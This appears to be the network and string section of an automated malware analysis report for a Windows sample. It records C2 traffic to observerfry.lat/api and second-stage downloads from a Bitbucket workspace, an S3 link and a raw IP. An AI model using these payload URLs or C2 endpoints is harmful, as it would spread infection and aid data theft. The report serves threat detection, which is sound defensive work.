Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNI4FAK2WV&Signature=iaSaZkbSmWmKRT4LVyOZvrLfGFQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECAaCXVzLWVhc3QtMSJHMEUCIQDUSbs8JvFDXaHbfgyRGCX4bxKpxb2MIYKstfTZeoHqKwIge4uh3YDd1Z0q%2BFBe7a15YLQzjqdQXMTJ2OcJorUIxNYqsAII6f%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDP9yDb%2BcABnyVdH1qCqEAgeHeMWG2HkJL6OcZoNAFmIM6Y2vRkPXmI7Mf0o03KwqMcARTUu7JVGWj2lINK5pqokv9YkoxRsDwyIY93KT70FrdPeiiCtIki503e1fO16F6eZ6DmyIMZJ%2FEVEG04GVtoUENkyt%2FEEHxaivGzrwCdTU9WMec7Z3RRQX%2FuRqK0Aq4TVrRpu0K0%2FLB5CoByxy%2FGtyliDd%2F3BwYIMb%2BnxgiSmZJetD3awfxFveHtOAxKzHXfJIqfSe5CdXiOks4TUR4z6EYBjhIpps1ZcCTHFBLfPyVOXyyJaJAdSwvF2BoOt3fv6KqOpWsP9zZF7j6ACimyqh6Ti7sennyBSNEdvzmNb40OsPMO7HqbsGOp0ByXAdjNpTfmhVcWH6tA8T%2F97kmFhB4XtRj5fDgkLP0eLDYgKRHtFcJfSpK3Qe%2BFfVDks5ocF8RdOQmSet3m%2FROs%2BJWAh9TAuRlJGBB1lzKK5kIC4zhYBS%2BV3bM2%2Bhk4qIuF1stlkaV1P1I4VAwkAT6SD25rxkqwpg1%2B%2F4MRwdg4s5Yekm3V%2B%2FZXp7phBnkzQCS4U164IdQSDDbNyKHQ%3D%3D&Expires=1735027446 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bbuseruploads.s3.amazonaws.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-464c-9988-4c3c4d541130/FormattingCharitable.exe?response-content-disposition=attachment%3B%20filename%3D%22FormattingCharitable.exe%22&AWSAccessKeyId=ASIA6KOSE3BNI4FAK2WV&Signature=iaSaZkbSmWmKRT4LVyOZvrLfGFQ%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECAaCXVzLWVhc3QtMSJHMEUCIQDUSbs8JvFDXaHbfgyRGCX4bxKpxb2MIYKstfTZeoHqKwIge4uh3YDd1Z0q%2BFBe7a15YLQzjqdQXMTJ2OcJorUIxNYqsAII6f%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDP9yDb%2BcABnyVdH1qCqEAgeHeMWG2HkJL6OcZoNAFmIM6Y2vRkPXmI7Mf0o03KwqMcARTUu7JVGWj2lINK5pqokv9YkoxRsDwyIY93KT70FrdPeiiCtIki503e1fO16F6eZ6DmyIMZJ%2FEVEG04GVtoUENkyt%2FEEHxaivGzrwCdTU9WMec7Z3RRQX%2FuRqK0Aq4TVrRpu0K0%2FLB5CoByxy%2FGtyliDd%2F3BwYIMb%2BnxgiSmZJetD3awfxFveHtOAxKzHXfJIqfSe5CdXiOks4TUR4z6EYBjhIpps1ZcCTHFBLfPyVOXyyJaJAdSwvF2BoOt3fv6KqOpWsP9zZF7j6ACimyqh6Ti7sennyBSNEdvzmNb40OsPMO7HqbsGOp0ByXAdjNpTfmhVcWH6tA8T%2F97kmFhB4XtRj5fDgkLP0eLDYgKRHtFcJfSpK3Qe%2BFfVDks5ocF8RdOQmSet3m%2FROs%2BJWAh9TAuRlJGBB1lzKK5kIC4zhYBS%2BV3bM2%2Bhk4qIuF1stlkaV1P1I4VAwkAT6SD25rxkqwpg1%2B%2F4MRwdg4s5Yekm3V%2B%2FZXp7phBnkzQCS4U164IdQSDDbNyKHQ%3D%3D&Expires=1735027446 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bbuseruploads.s3.amazonaws.com

Source: global traffic	DNS traffic detected: DNS query: observerfry.lat
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: iaLId0uLUw.exe, 00000000.00000003.2284172195.000000000104D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: iaLId0uLUw.exe, 00000000.00000003.2362319023.000000000572D000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2757590651.0000000005D79000.00000002.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362356236.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: iaLId0uLUw.exe, 00000000.00000003.2376134998.000000000104D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362356236.00000000056C9000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2754549626.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-
Source: iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/7dd;
Source: iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com:443/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3
Source: iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: iaLId0uLUw.exe, 00000000.00000002.2754549626.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2754549626.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe
Source: iaLId0uLUw.exe, 00000000.00000002.2754362482.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe.0
Source: iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exeU
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: iaLId0uLUw.exe, 00000000.00000003.2230960487.0000000001067000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2180185979.00000000056FD000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2230044054.000000000106B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2180509854.000000000570F000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2756974870.0000000005680000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284368365.0000000005681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: iaLId0uLUw.exe, 00000000.00000002.2757052590.0000000005703000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2234921159.0000000005703000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2204242216.00000000056FE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2249097151.0000000005703000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2180350301.0000000001078000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362356236.00000000056C9000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2754549626.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/dowxo
Source: iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/fonpo
Source: iaLId0uLUw.exe, 00000000.00000003.2230960487.0000000001067000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2230044054.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/p
Source: iaLId0uLUw.exe, 00000000.00000003.2230960487.0000000001067000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2230044054.000000000106B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi
Source: iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi8os;g
Source: iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/sC
Source: iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: iaLId0uLUw.exe, 00000000.00000003.2362356236.000000000571B000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2757170097.000000000571B000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.000000000571B000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.000000000104F000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-websiteX-Frame-OptionsSAMEORIGINX-
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: iaLId0uLUw.exe, 00000000.00000003.2376281600.000000000105B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376134998.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.0000000005711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
